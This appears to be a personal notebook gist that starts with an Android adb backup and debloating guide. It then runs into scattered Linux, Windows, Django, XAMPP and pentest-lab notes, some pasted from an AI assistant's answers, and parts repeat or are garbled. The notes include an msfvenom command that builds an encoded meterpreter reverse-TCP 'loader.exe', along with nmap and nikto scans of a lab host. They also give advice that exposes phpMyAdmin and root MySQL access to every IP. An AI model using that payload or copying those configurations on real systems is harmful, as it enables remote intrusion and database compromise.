Note: This gist may be outdated, thanks to all contributors in comments.
adb is the Android CLI tool with which you can interact with your android device, from your PC
You must enable developer mode (tap 7 times on the build version in parameters) and install adb on your PC.
Don't hesitate to read comments, there is useful tips, thanks guys for this !
To get the list of your installed applications:
adb shell pm list packages -f -3
If you want to fetch all apk of your installed apps:
for APP in $(adb shell pm list packages -3 -f)
do
adb pull $( echo ${APP} | sed "s/^package://" | sed "s/base.apk=/base.apk /").apk
done
To fetch only one application, based of listed packages results:
adb pull /data/app/org.fedorahosted.freeotp-Rbf2NWw6F-SqSKD7fZ_voQ==/base.apk freeotp.apk
To backup one application, with its apk:
adb backup -apk org.fedorahosted.freeotp -f freeotp.adb
To backup all datas at once:
adb backup -f all -all -apk -nosystem
To backup all datas in separated files:
for APP in $(adb shell pm list packages -3)
do
APP=$( echo ${APP} | sed "s/^package://")
adb backup -f ${APP}.backup ${APP}
done
First, you have to install the saved apk with adb:
adb install application.apk
Then restore the datas:
adb restore application.backup
You will need the zlib-flate binary. You will able to use it by installing the qpdf package.
apt install qpdf
Then, to extract your application backup:
dd if=freeotp.adb bs=24 skip=1 | zlib-flate -uncompress | tar xf -
If you have problems using adb backup (empty files, no prompts, other oddness), you can give a try to bu backup through adb shell. Thanks to @nuttingd comment.
adb shell 'bu backup -apk -all -nosystem' > backup.adbadb shell 'bu restore' < backup.adbSometimes, you have already installed (but non wanted) apps when you buy an Android Smartphone. And you can't uninstall these apps. So Bad. And some pre-installed app are not present on PlayStore. WTF.
You can remove them with this command, and root is not needed:
adb shell pm uninstall --user 0 non.wanted.app
You can first disable them, then when you are sure, you can remove them.
To list disabled apps:
adb shell pm list packages -d
Example:
# Google Chrome
adb shell pm uninstall --user 0 com.android.chrome
# Gmail
adb shell pm uninstall --user 0 com.google.android.gm
# Google Play Films et Séries
adb shell pm uninstall --user 0 com.google.android.videos
# Youtube
adb shell pm uninstall --user 0 com.google.android.youtube
# Google Play Music
adb shell pm uninstall --user 0 com.google.android.music
# Google Hangouts
adb shell pm uninstall --user 0 com.google.android.talk
# Google Keep
adb shell pm uninstall --user 0 com.google.android.keep
# Google Drive
adb shell pm uninstall --user 0 com.google.android.apps.docs
# Google Photos
adb shell pm uninstall --user 0 com.google.android.apps.photos
# Google Cloud Print
adb shell pm uninstall --user 0 com.google.android.apps.cloudprint
# Google Actualités et météos
adb shell pm uninstall --user 0 com.google.android.apps.genie.geniewidget
# Application Google
adb shell pm uninstall --user 0 com.google.android.googlequicksearchbox
https://stackoverflow.com/questions/4032960/how-do-i-get-an-apk-file-from-an-android-device https://androidquest.wordpress.com/2014/09/18/backup-applications-on-android-phone-with-adb/ https://stackoverflow.com/questions/34482042/adb-backup-does-not-work https://stackoverflow.com/questions/53634246/android-get-all-installed-packages-using-adb https://www.dadall.info/article657/nettoyer-android https://etienne.depar.is/a-ecrit/Desinstaller-des-applications-systemes-d-android/index.html
Android-Backup-and-Restore-Guide
android-backup-apk-and-datas.md
ip link add name virtual type bridge
ip link set virtual up
ip link
wireshark/interface ethernet set ether1 mac-address=DC:2C:6E:9E:9D:42
quick commands
service postgresql start
service postgresql status
msfdb status
msfdb init
db_connect msf:melody@localhost/msf
command output
└──╼[ZERODIUM]#msfdb init
[i] Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema
(venv) ┌──[[Thu May 23 08:25:17 AM EAT 2024]root@parrot]─[/usr/share/wordlists]
└──╼[ZERODIUM]#nano /usr/share/meta/usr/share/metasploit-framework/config/database.yml
(venv) ┌──[[Thu May 23 08:25:17 AM EAT 2024]root@parrot]─[/usr/share/wordlists]
└──╼[ZERODIUM]#
Error encountered
ubuntu@(none):~$ sudo true sudo: unable to resolve host (none)
edit /etc/hostname and hosts
sudo nano /etc/hostname
pycrypto pycryptodome Cryrpto
requires vc 9.0+ to compile and install
Well this might appear weird but after installing pycrypto or pycryptodome , we need to update the directory name crypto to Crypto in lib/site-packages
fuck case sensitivity
[x] JUst Need To Disable app aliases in windows advanced settings
fix error message
Cannot spawn a message bus without a machine-id: Unable to load /var/lib/dbus/machine-id or /etc/machine-id: Failed to open file “/var/lib/dbus/machine-id”: No such file or directory
Cannot spawn a message bus without a machine-id: Unable to load /var/lib/dbus/machine-id or /etc/machine-id: Failed to open file “/var/lib/dbus/machine-id”: No such file or directory
fix
"cat: /etc/machine-id: no such file or directory".
rm -f /etc/machine-id /var/lib/dbus/machine-id
dbus-uuidgen --ensure=/etc/machine-id
dbus-uuidgen --ensure
#─[[Tue Apr 30 12:44:12 PM EAT 2024]root@parrot]─[/opt/bypas]
└──╼[ZERODIUM]#go get github.com/fatih/color
go: go.mod file not found in current directory or any parent directory.
'go get' is no longer supported outside a module.
To build and install a command, use 'go install' with a version,
like 'go install example.com/cmd@latest'
For more information, see https://golang.org/doc/go-get-install-deprecation
or run 'go help get' or 'go help install'.
https://stackoverflow.com/questions/66894200/error-message-go-go-mod-file-not-found-in-current-directory-or-any-parent-dire
294
commands to fix the go issues
export GOROOT=/usr/lib/go-1.21/
copy to be built in /root/go/src
use go get what missing
Change this:
go env -w GO111MODULE=auto
to this:
go env -w GO111MODULE=off
└──╼[ZERODIUM]#msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.200.224 lport=54654 -f exe -o /media/sf_Shared/own/loader.exe -e x86/call4_dword_xor -i 00556
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ED25519 key sent by the remote host is
SHA256:BzjQdkX7VjmTT/fmBWUXIs6r5LmIfx9IKVeQiAfJkCM.
Please contact your system administrator.
Add correct host key in /root/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /root/.ssh/known_hosts:8
remove with:
ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.200.177"
Host key for 192.168.200.177 has changed and you have requested strict checking.
Host key verification failed.
fix for ssh key error
ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.200.177"
snap install whatsapp-for-linux
MIKROTIK REMOTE ACCESS FROM ANYWHERE
sudo apt install snapd
then install atom ide from terminal
snap install atom --classic
[fix parrot os issue on virtualbox](https://unix.stackexchange.com/questions/257203/booting-stops-at-loading-initial-ramdisk/620355#620355
boot-freezes-and-loading-initial-ramdisk
Other way, In safe-mode or command line, edit /etc/default/grub and replace in the existing configuration line
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
with
GRUB_CMDLINE_LINUX_DEFAULT="dis_ucode_ldr"
The issue is either caused by restarting in a different display configuration
disable virtualbox internet adapter disable widows firewall
disable hp hotkey uwp service
fix windows not connecting to eduroam
The problem can probably be solved either by the data center, though that's probably a lot of work, because they have to update the radius for TLS 1.3. New Windows 11 22h2 forces your device to connect via TLS 1.3 (although TLS 1.3. is like.. not even out yet). But you can change the registry, so it ain't gonna use 1.3. again by following these instructions:
Add this value to the registry (windows key + R, enter regedit...make the addition below to the specified directory) , then TLS <1.3 will be enforced:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\PPP\EAP\13]
"TLSVersion"=dword:00000fc0
Fix MIssing Modules
sudo apt-get install libx11-dev ................. for X11/Xlib.h
sudo apt-get install mesa-common-dev........ for GL/glx.h
sudo apt-get install libglu1-mesa-dev ..... for GL/glu.h
sudo apt-get install libxrandr-dev ........... for X11/extensions/Xrandr.h
sudo apt-get install libxi-dev ................... for X11/extensions/XInput.h
- In Registry Editor, navigate to the following path: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows using the navigation tree on the left. Screenshot of a Windows 11 desktop with the Windows Update page showing updates are paused This article is part of a directory: Windows 11 installation and activation: Everything you need to know
Generally speaking, keeping your Windows 11 PC up to date is always recommended. But every now and then, Microsoft tends to release some updates with big problems, and it doesn't hurt to hold off on an update for a few days to make sure you won't have glaring issues. Close
Thankfully, Microsoft does give you the option to do exactly that and keep updates away from your PC, at least temporarily. If you want to avoid updates on your Windows 11 PC, here's what you can do. Screenshot of Windows Update after failing to install some updates Related How to troubleshoot Windows updates stuck downloading Having issues downloading a Windows update on your PC? These steps will help you fix it and get the latest goods. How to pause automatic Windows 11 updates
If you're only interested in stopping updates temporarily, Windows 11 makes that pretty easy. This is the best way to go about it because the biggest reason you might want to delay an update is to make sure it doesn't have any big problems. By delaying it a couple of weeks, you can give it some time before installing new updates.
If you have Windows 11 Home, updates can only be paused for one week. However, Windows 11 Pro and higher let you pause updates for up to five weeks. Here's how:
Open the Settings app on your PC.
Select Windows Update from the sidebar.
Next to Pause updates, click Pause for 1 week or open the drop-down menu to pause updates for up to five weeks. You can increase the time in one-week increments.
Screenshot of the Windows Update page in Windows 11 Settings app with the option to pause updates highlighted
Updates will automatically resume at the end of the period you select, and most importantly, you won't be able to extend the pause until you install the updates that were released during that pause period. That is to say, you can't prevent updates from being installed indefinitely this way. On Windows 11 Pro, if you selected a period shorter than the five-week maximum, you can keep extending the pause until you reach that limit, but that's it. How to stop receiving automatic Windows 11 updates using Registry Editor
For a more permanent solution, you can stop Windows 11 updates using the Registry Editor. It's worth mentioning that you should always be careful when using the Registry Editor as some changes can cause big problems, so follow these instructions carefully.
With that being said, if you feel comfortable using it, here's what you need to do:
Press Windows + R on your keyboard.
Type regedit and press Enter.
Screenshot of the Run dialog in Windows 11 with the regedit command entered into the box
You can also type this text in the Start menu to launch the Registry Editor.
Click Yes in the prompt that appears.
In Registry Editor, navigate to the following path: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows using the navigation tree on the left.
Screenshot of Registry Editor in Windows 11 showing a Windows folder
Right-click on the Windows folder and select New, then Key.
Name the new key WindowsUpdate and hit Enter.
Right-click on WindowsUpdate and select New, then Key.
Call this key AU and hit Enter again. Your navigation tree should look like this.
NoAutoUpdate
sc query wuauserv
sc stop wuauserv
sc config
sc config wuauserv start="disabled"
sudo python2 get-pip.py
commands to fix the issue
apt-get install libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev
- Code:
wget https://www.python.org/ftp/python/2.7.9/Python-2.7.9.tgz
sudo tar xzf Python-2.7.9.tgz
cd Python-2.7.9
sudo ./configure --enable-optimizations
sudo make altinstall
wget https://www.python.org/ftp/python/2.7.18/Python-2.7.18.tgz
Continue:
python2.7 -V
~ Python 2.7.9
sudo ln -sfn '/usr/local/bin/python2.7' '/usr/bin/python2'
sudo update-alternatives --install /usr/bin/python python /usr/bin/python2 1
output will look like
sudo update-alternatives --config python
* 0 /usr/bin/python3 2 auto mode
1 /usr/bin/python2 1 manual mode
2 /usr/bin/python3 2 manual mode
Press <enter> to keep the current choice[*], or type selection number:
└──╼ #update-alternatives --install /usr/bin/pip pip /usr/local/bin/pip2 1
update-alternatives: using /usr/local/bin/pip2 to provide /usr/bin/pip (pip) in auto mode
update-alternatives: warning: not replacing /usr/bin/pip with a link
┌─[root@parrot]─[/home/user/Downloads]
└──╼ #update-alternatives --install /usr/bin/pip pip /usr/bin/pip
pip pip3 pip3.11 pipal
┌─[root@parrot]─[/home/user/Downloads]
└──╼ #update-alternatives --install /usr/bin/pip pip /usr/bin/pip3 2
update-alternatives: using /usr/bin/pip3 to provide /usr/bin/pip (pip) in auto mode
update-alternatives: warning: not replacing /usr/bin/pip with a link
┌─[root@parrot]─[/home/user/Downloads]
└──╼ #
Download sublimepatch
How to get the Markdown Viewer addon of Firefox to work on Linux?
~/.local/share/mime/packages/text-markdown.xml
sudo mkdir -p /usr/local/share/mime/packages
sudo mkdir -p /usr/local/share/mime/packages
sudo pluma /usr/local/share/mime/packages/text-markdown.xml
<?xml version="1.0"?>
<mime-info xmlns='http://www.freedesktop.org/standards/shared-mime-info'>
<mime-type type="text/plain">
<glob pattern="*.md"/>
<glob pattern="*.mkd"/>
<glob pattern="*.markdown"/>
</mime-type>
</mime-info>
update-mime-database /usr/local/share/mime
timedatectl set-timezone Africa/Nairobi
python manage.py migrate
code snippet and commands
jdango-admin startproject tauntaun_dispatch
cd tauntaun_dispatch
ls
cd tauntaun_dispatch
nano settings.py
cd ..
python manage.py migrate
cd tauntaun_dispatch
nano view.py
from django.http import HttpResponse
def index(request):
return HttpResponse("index")
def tauntaun_request(request):
return HttpResponse("tauntaun-request")
nano urls.py
python manage.py runserver
nano tauntaun_dispatch/models.py
from django.db import models
from django.db import models
class Reservation(models.Model):
name = models.CharField(max_length=30)
date = models.DateField()
python manage.py makemigrations tauntaun_dispatch
python manage.py migrate
mkdir tauntaun_dispatch/templates
┌─[root@parrot]─[/home/user/Desktop/exercises/tauntaun_dispatch]
└──╼ #nano tauntaun_dispatch/templates/index.html
┌─[root@parrot]─[/home/user/Desktop/exercises/tauntaun_dispatch]
└──╼ #nano tauntaun_dispatch/view.py
┌─[root@parrot]─[/home/user/Desktop/exercises/tauntaun_dispatch]
└──╼ #
from django.http import HttpResponse
from django.shortcuts import render
from models import Reservation
def index(request):
return render(request,"index.html")
def tauntaun_request(request):
if 'name' in request.POST and 'date' in request.POST:
reservation = Reservation(name=request.POST['name'],date=request.POST['date'])
reservation.save()
return HttpResponse("Your reservation ID is: %s" % reservation.id)
else:
return HttpResponse("Something went wrong, no Taunttaun for you today")
sqlite3 db.sqlite3
.tables
SELECT * from tauntaun_dispatch_reservation ;
jsfiddle.net for js code experiments
nmap syn scan sends basic tcp syn packets to server to open tcp connection to the server to determine if ports are open or closed
nmap -sS -p 1-65535 192.168.100.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-13 21:16 EAT
Nmap scan report for 192.168.100.4
Host is up (0.00092s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
8000/tcp open http-alt
MAC Address: 08:00:27:16:6E:AA (Oracle VirtualBox virtual NIC)
nmap -A -p 1-65535 192.168.100.4
nikto --host 192.168.100.4 -root /ve
do nikto scan in a way it tests admin page
config file to edit /etc/nikto.conf
server thinks it you if you send back a persons cookie
cookie: domain path time
if path has root it has entire domain
ishttp only cookie cant be accessed by javascript session cookie lost when browser closed permanent closed and loaded when browser is closed tomcat jsession id for tomcat if you remove a cookie and get autherror that was the session cookie session management cookie in php username stored in session
#session fixation attacker steals cookie and connects to application and hijacks session if attacker prob set cookie 2 a value he knows and if at login server doesnt change to another value that is not known but uses value from attacker then app is vulnerable to session fixation
protocol domain policy
same origin policy makes sure browser cant talk to another website dont give up on the first sign of protection
sudo rm -rf /opt/python2.7.9
ls -l /usr/local/bin/ | grep python
sudo rm /usr/local/bin/python2.7
sudo rm /usr/local/bin/pip2.7
rm $(which python2.7-config)
wget https://www.python.org/ftp/python/2.7.18/Python-2.7.18.tgz
tar xzf Python-2.7.18.tgz
cd Python-2.7.18
./configure --with-ssl
make
sudo make install
└──╼[ZERODIUM]#update-alternatives --install /usr/bin/pip pip /usr/bin/pip2 1
update-alternatives: warning: forcing reinstallation of alternative /usr/local/bin/pip2 because link group pip is broken
update-alternatives: warning: not replacing /usr/bin/pip with a link
┌──[[Mon Sep 16 08:14:58 AM EAT 2024]root@Z3r0S3C]─[/opt/main]
└──╼[ZERODIUM]#update-alternatives --install /usr/bin/pip pip /usr/bin/pip3 2
update-alternatives: using /usr/bin/pip3 to provide /usr/bin/pip (pip) in auto mode
update-alternatives: warning: not replacing /usr/bin/pip with a link
STEPS
1. Check the Current State of /usr/bin/pip
First, check what exactly is at /usr/bin/pip by running:
bash
ls -l /usr/bin/pip
2. Remove Existing pip Binary (If Safe)
If you confirm that /usr/bin/pip is a regular file and not a symlink, you can move or remove it, depending on your preference. To back it up (in case you need to restore it later):
bash
sudo mv /usr/bin/pip /usr/bin/pip.backup
Or, if you're sure you want to remove it:
bash
sudo rm /usr/bin/pip
3. Recreate the Alternative for pip
After you’ve removed or moved the existing pip binary, you can try running update-alternatives again to properly set up pip for both Python 2 and Python 3:
bash
sudo update-alternatives --install /usr/bin/pip pip /usr/bin/pip2 1
to just display
sudo update-alternatives --display pip
[ZERODIUM]#sudo update-altsudo update-alternatives --display pip
pip - auto mode
link best version is /usr/bin/pip3
link currently points to /usr/bin/pip3
link pip is /usr/bin/pip
/usr/bin/pip2 - priority 1
/usr/bin/pip3 - priority 2
/usr/local/bin/pip2 - priority 1
┌──[[Mon Sep 16 08:14:58 AM EAT 2024]root@Z3r0S3C]─[/opt/main]
└──╼[ZERODIUM]#
Run the following command to disable ping replies:
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1
To make this change permanent (after a reboot), edit the /etc/sysctl.conf file and add the following line:
bash
net.ipv4.icmp_echo_ignore_all = 1
After saving the file, apply the changes by running:
bash
sudo sysctl -psudo apt install software-properties-common
add-apt-repository ppa:zhangsongcui3371/fastfetch
Traceback (most recent call last): File "/usr/bin/add-apt-repository", line 361, in addaptrepo = AddAptRepository() ^^^^^^^^^^^^^^^^^^ File "/usr/bin/add-apt-repository", line 39, in init self.distro.get_sources(self.sourceslist) File "/usr/lib/python3/dist-packages/aptsources/distro.py", line 89, in get_sources raise NoDistroTemplateException( aptsources.distro.NoDistroTemplateException: Error: could not find a distribution template for Debian/lory
apt update
Hit:1 https://deb.parrot.sh/parrot lory InRelease
Get:2 https://deb.parrot.sh/direct/parrot lory-security InRelease [29.4 kB]
Hit:3 https://deb.parrot.sh/parrot lory-backports InRelease
Get:4 https://deb.parrot.sh/direct/parrot lory-security/main amd64 Packages [352 kB]
Get:5 http://ppa.launchpad.net/zhangsongcui3371/fastfetch/ubuntu focal InRelease [24.3 kB]
Err:5 http://ppa.launchpad.net/zhangsongcui3371/fastfetch/ubuntu focal InRelease
The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7E2E5CB4D4865F21
Reading package lists... Done
W: GPG error: http://ppa.launchpad.net/zhangsongcui3371/fastfetch/ubuntu focal InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 7E2E5CB4D4865F21
E: The repository 'http://ppa.launchpad.net/zhangsongcui3371/fastfetch/ubuntu focal InRelease' is not signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
┌──[[Tue Sep 17 08:48:51 AM EAT 2024]root@Z3r0S3C]─[/opt/main/mybash]
└──╼[ZERODIUM]#wget -qO - httpsudo apt-key adv --keyserver keyserver.ubuntu.com --recv-ke^C
┌──[[Tue Sep 17 08:48:51 AM EAT 2024]root@Z3r0S3C]─[/opt/main/mybash]
└──╼[ZERODIUM]#wget -qO - httpsudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 7E2E5CB4D4865F21
Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).
Executing: /tmp/apt-key-gpghome.hpsnb08Cv5/gpg.1.sh --keyserver keyserver.ubuntu.com --recv-keys 7E2E5CB4D4865F21
gpg: key 7E2E5CB4D4865F21: public key "Launchpad PPA for Carter Li" imported
gpg: Total number processed: 1
gpg: imported: 1
wget -qO - https://keyserver.ubuntu.com/pks/lookup?op=get&search=0xEB65EE19D802F3EB1A13CFE47E2E5CB4D4865F21 | sudo tee /etc/apt/trusted.gpg.d/fastfetch.asc
Verify and Add the Key:
The key will now be saved to the /etc/apt/trusted.gpg.d/ directory, allowing your system to trust the PPA.
Update Your Package List:
After adding the key manually, you can update the package list:
bash
sudo apt update
- Manually Add the PPA Repository (Alternative Method)
Since PPAs are primarily for Ubuntu and its derivatives, you may be able to add the PPA manually by editing your /etc/apt/sources.list file. Here’s how to do it:
First, find the actual URL for the PPA. PPAs are usually hosted on Launchpad and follow this structure:
deb http://ppa.launchpad.net///ubuntu main In your case, the PPA URL would likely be something like:
bash
deb http://ppa.launchpad.net/zhangsongcui3371/fastfetch/ubuntu focal main To manually add this, follow these steps:
Open the /etc/apt/sources.list file for editing:
sudo nano /etc/apt/sources.list
Add the PPA at the end of the file:
bash
deb http://ppa.launchpad.net/zhangsongcui3371/fastfetch/ubuntu focal main
Save and close the file (Ctrl + O, then Ctrl + X).
Add the GPG key for the PPA:
bash
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys <KEY>
(You'll need to replace <KEY> with the actual key ID of the PPA.)Update your package list:
sudo apt update
2. Use a Different Installation Method (Debian-based Systems)
If your system is not Ubuntu-based but still Debian-based (like Debian Lory), PPAs might not be the best approach. Instead, consider installing the package from an official source, GitHub, or from the source code itself.For Fastfetch, you can visit the official GitHub repository and follow the installation instructions:
GitHub repo: https://github.com/LinusDierheimer/fastfetch 3. Check Your OS Compatibility If you're not on an Ubuntu-based system (like Debian), it's best to avoid using PPAs directly as they are not officially supported for non-Ubuntu distros. Stick with packages that are natively supported for your OS or compile the software from source.
where am i going to get the actual key ID of the PPA
To find the actual key ID of a PPA, follow these steps:
- Search for the PPA on Launchpad
Go to the Launchpad PPA page and search for the PPA. In your case, the PPA you are interested in is:
ppa:zhangsongcui3371/fastfetch
You can access the PPA directly by visiting:https://launchpad.net/~zhangsongcui3371/+archive/ubuntu/fastfetch
2. Find the GPG Key Information on the PPA Page
Once on the PPA page, scroll down to find the Technical details about this PPA section. Here, you will usually find the Signing key and Fingerprint.
For example, it will say something like:
vbnet
Signing key: 1024R/XXXXXXXX
The key ID is the part after the slash (XXXXXXXX in this case).
3. Add the Key Using the Key ID
Once you have the key ID (for example, XXXXXXXX), you can add it using the following command:
bash
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys XXXXXXXXX
Make sure to replace XXXXXXXXX with the actual key ID you found on the PPA page.
Example
If the key ID you found is 9ABCDEF0, then you would run:
bash
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 9ABCDEF0
This will add the PPA's GPG key to your system so that the system can verify and trust the packages from that repository.
Let me know if you need help locating the key!
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys eb65ee19d802f3eb1a13cfe47e2e5cb4d4865f21
Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).
Executing: /tmp/apt-key-gpghome.wjDDkiJ7qN/gpg.1.sh --keyserver keyserver.ubuntu.com --recv-keys eb65ee19d802f3eb1a13cfe47e2e5cb4d4865f21
gpg: keyserver receive failed: Server indicated a failure
The warning you're seeing indicates that apt-key is deprecated, and the error message suggests that there is an issue connecting to the keyserver.
- Instead of using apt-key, it's recommended to manage keys directly in the /etc/apt/trusted.gpg.d/ directory.
You can do the following:
Download the Key Manually:
If the keyserver fails to respond, you can try downloading the key directly from the Launchpad page or its link. To do this:
wget -qO - https://keyserver.ubuntu.com/pks/lookup?op=get&search=0xEB65EE19D802F3EB1A13CFE47E2E5CB4D4865F21 | sudo tee /etc/apt/trusted.gpg.d/fastfetch.asc
Verify and Add the Key:
The key will now be saved to the /etc/apt/trusted.gpg.d/ directory, allowing your system to trust the PPA.
Update Your Package List:
After adding the key manually, you can update the package list:
bash
sudo apt updateIf you're still facing issues with the keyserver.ubuntu.com connection, try using a different keyserver:
sudo apt-key adv --keyserver hkps://keyserver.ubuntu.com:443 --recv-keys EB65EE19D802F3EB1A13CFE47E2E5CB4D4865F21
Or:sudo apt-key adv --keyserver hkps://pgp.mit.edu --recv-keys EB65EE19D802F3EB1A13CFE47E2E5CB4D4865F21
Why This Happens
Sometimes the default keyserver may experience downtime or other connectivity issues. Using alternate keyservers or manually downloading the key ensures that you can still proceed with adding repositories and installing packages.https://github.com/fastfetch-cli/fastfetch/releases/tag/2.24.0
By default, Nano in Linux already uses Ctrl + O (Control + O) as the key combination to save (write out) the current file. If this functionality is missing or you want to ensure it's properly set, here's how you can configure it:
- Ensure the Keybinding Is Active
In Nano, the keybinding for "WriteOut" (saving the file) is Ctrl + O by default. To ensure that this behavior is not changed, check the configuration files for Nano.
- Modify Nano's Configuration File
You can create or modify Nano's configuration file (nanorc) to ensure Ctrl + O works as the save shortcut.
Open the Nano configuration file:
nano ~/.nanorc
If you don't see the following line, add it to ensure Ctrl + O is used for saving (though it should be set by default):
bash
bind ^O savefile mainssh -i /path/to/your-key.pem ubuntu@your-ec2-public-ip
wget https://www.apachefriends.org/xampp-files/7.4.30/xampp-linux-x64-7.4.30-0-installer.run
chmod +x xampp-linux-x64-7.4.30-0-installer.run
sudo ./xampp-linux-x64-7.4.30-0-installer.run
sudo /opt/lampp/lampp start
http://your-ec2-public-ip
- Configure Security Group for XAMPP Ports
To access phpMyAdmin and other services, you need to allow the following ports in the EC2 instance's Security Group:
Port 80 (HTTP): For accessing the web interface.
Port 3306 (MySQL): If you need remote access to MySQL (optional).
Steps:
Open your EC2 Dashboard.
Select your EC2 instance, and under the Security tab, click the associated Security Group.
Edit the Inbound Rules:
Allow HTTP (Port 80) from anywhere (0.0.0.0/0 and ::/0 for IPv6).
Allow MySQL/Aurora (Port 3306) if you plan to access MySQL remotely (optional).
- Access phpMyAdmin via Web Interface
Allow phpMyAdmin from all IPs (since XAMPP restricts access to localhost by default):
Open the phpMyAdmin configuration file:
sudo nano /opt/lampp/etc/extra/httpd-xampp.conf
Find the block for phpMyAdmin (usually under Alias /phpmyadmin "/opt/lampp/phpmyadmin"), and change Require local to Require all granted, so it looks like this:
apache
<Directory "/opt/lampp/phpmyadmin">
AllowOverride AuthConfig
Require all granted
ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</Directory>
Restart XAMPP: After editing, restart XAMPP to apply the changes:sudo /opt/lampp/lampp restart
Access phpMyAdmin: Now you can access phpMyAdmin through your browser:
bash
http://your-ec2-public-ip/phpmyadmin- Secure phpMyAdmin
By opening phpMyAdmin to all IPs, it becomes publicly accessible, which can be a security risk. Here are ways to mitigate this:
IP Restriction:
In httpd-xampp.conf, instead of Require all granted, restrict access to your own IP address:
apache
Require ip your-ip-address
Password Protection:
You can add basic HTTP authentication for further security.
Disable phpMyAdmin When Not in Use:
You can restrict access by editing the Apache config and commenting out the phpMyAdmin alias block or using firewall rules to block access.
- Access MySQL Remotely (Optional)
If you need to access MySQL from outside the EC2 instance (e.g., from a local MySQL client):
Allow remote access in MySQL:
Open the MySQL config file:
sudo nano /opt/lampp/etc/my.cnf
Find the bind-address line and change it from 127.0.0.1 to 0.0.0.0:
bash
bind-address = 0.0.0.0
Grant remote access to MySQL user:
Connect to MySQL:
bash
sudo /opt/lampp/bin/mysql -u root -p
Run the following command to allow a specific user to connect from any IP address (replace your_password with your MySQL root password):
sql
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'your_password';
FLUSH PRIVILEGES;
Restart MySQL:
bash
sudo /opt/lampp/lampp restart- Configure Security Group for XAMPP Ports
To access phpMyAdmin and other services, you need to allow the following ports in the EC2 instance's Security Group:
Port 80 (HTTP): For accessing the web interface.
Port 3306 (MySQL): If you need remote access to MySQL (optional).
Steps:
Open your EC2 Dashboard.
Select your EC2 instance, and under the Security tab, click the associated Security Group.
Edit the Inbound Rules:
Allow HTTP (Port 80) from anywhere (0.0.0.0/0 and ::/0 for IPv6).
Allow MySQL/Aurora (Port 3306) if you plan to access MySQL remotely (optional).
- Access phpMyAdmin via Web Interface
Allow phpMyAdmin from all IPs (since XAMPP restricts access to localhost by default):
Open the phpMyAdmin configuration file:
sudo nano /opt/lampp/etc/extra/httpd-xampp.conf
Find the block for phpMyAdmin (usually under Alias /phpmyadmin "/opt/lampp/phpmyadmin"), and change Require local to Require all granted, so it looks like this:
apache
<Directory "/opt/lampp/phpmyadmin">
AllowOverride AuthConfig
Require all granted
ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</Directory>
Restart XAMPP: After editing, restart XAMPP to apply the changes:
bash
sudo /opt/lampp/lampp restart
Access phpMyAdmin: Now you can access phpMyAdmin through your browser:
bash
http://your-ec2-public-ip/phpmyadmin
- Secure phpMyAdmin By opening phpMyAdmin to all IPs, it becomes publicly accessible, which can be a security risk. Here are ways to mitigate this:
IP Restriction:
In httpd-xampp.conf, instead of Require all granted, restrict access to your own IP address:
apache
Require ip your-ip-address
Password Protection:
You can add basic HTTP authentication for further security.
Disable phpMyAdmin When Not in Use:
You can restrict access by editing the Apache config and commenting out the phpMyAdmin alias block or using firewall rules to block access.
- Access MySQL Remotely (Optional) If you need to access MySQL from outside the EC2 instance (e.g., from a local MySQL client):
Allow remote access in MySQL:
Open the MySQL config file:
sudo nano /opt/lampp/etc/my.cnf
Find the bind-address line and change it from 127.0.0.1 to 0.0.0.0:
bash
bind-address = 0.0.0.0
Grant remote access to MySQL user:
Connect to MySQL:
bash
sudo /opt/lampp/bin/mysql -u root -p
Run the following command to allow a specific user to connect from any IP address (replace your_password with your MySQL root password):
sql
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'your_password';
FLUSH PRIVILEGES;
Restart MySQL:
bash
sudo /opt/lampp/lampp restartYes, you can install and configure phpMyAdmin on an EC2 instance to manage your MySQL or MariaDB databases through a web-based interface. Here’s a step-by-step guide to install and set up phpMyAdmin on an EC2 instance running Ubuntu:
Step 1: Update Your System Make sure your system is up to date before installing phpMyAdmin.
sudo apt update
sudo apt upgrade -yStep 2: Install LAMP Stack (If not already installed) If you haven't installed Apache, MySQL, and PHP yet, do so by running:
sudo apt install apache2
sudo apt install mysql-server
sudo apt install php libapache2-mod-php php-mysqlStep 3: Install phpMyAdmin Install phpMyAdmin using the following command:
sudo apt install phpmyadminDuring the installation, you’ll be prompted to choose a web server. Select Apache2.
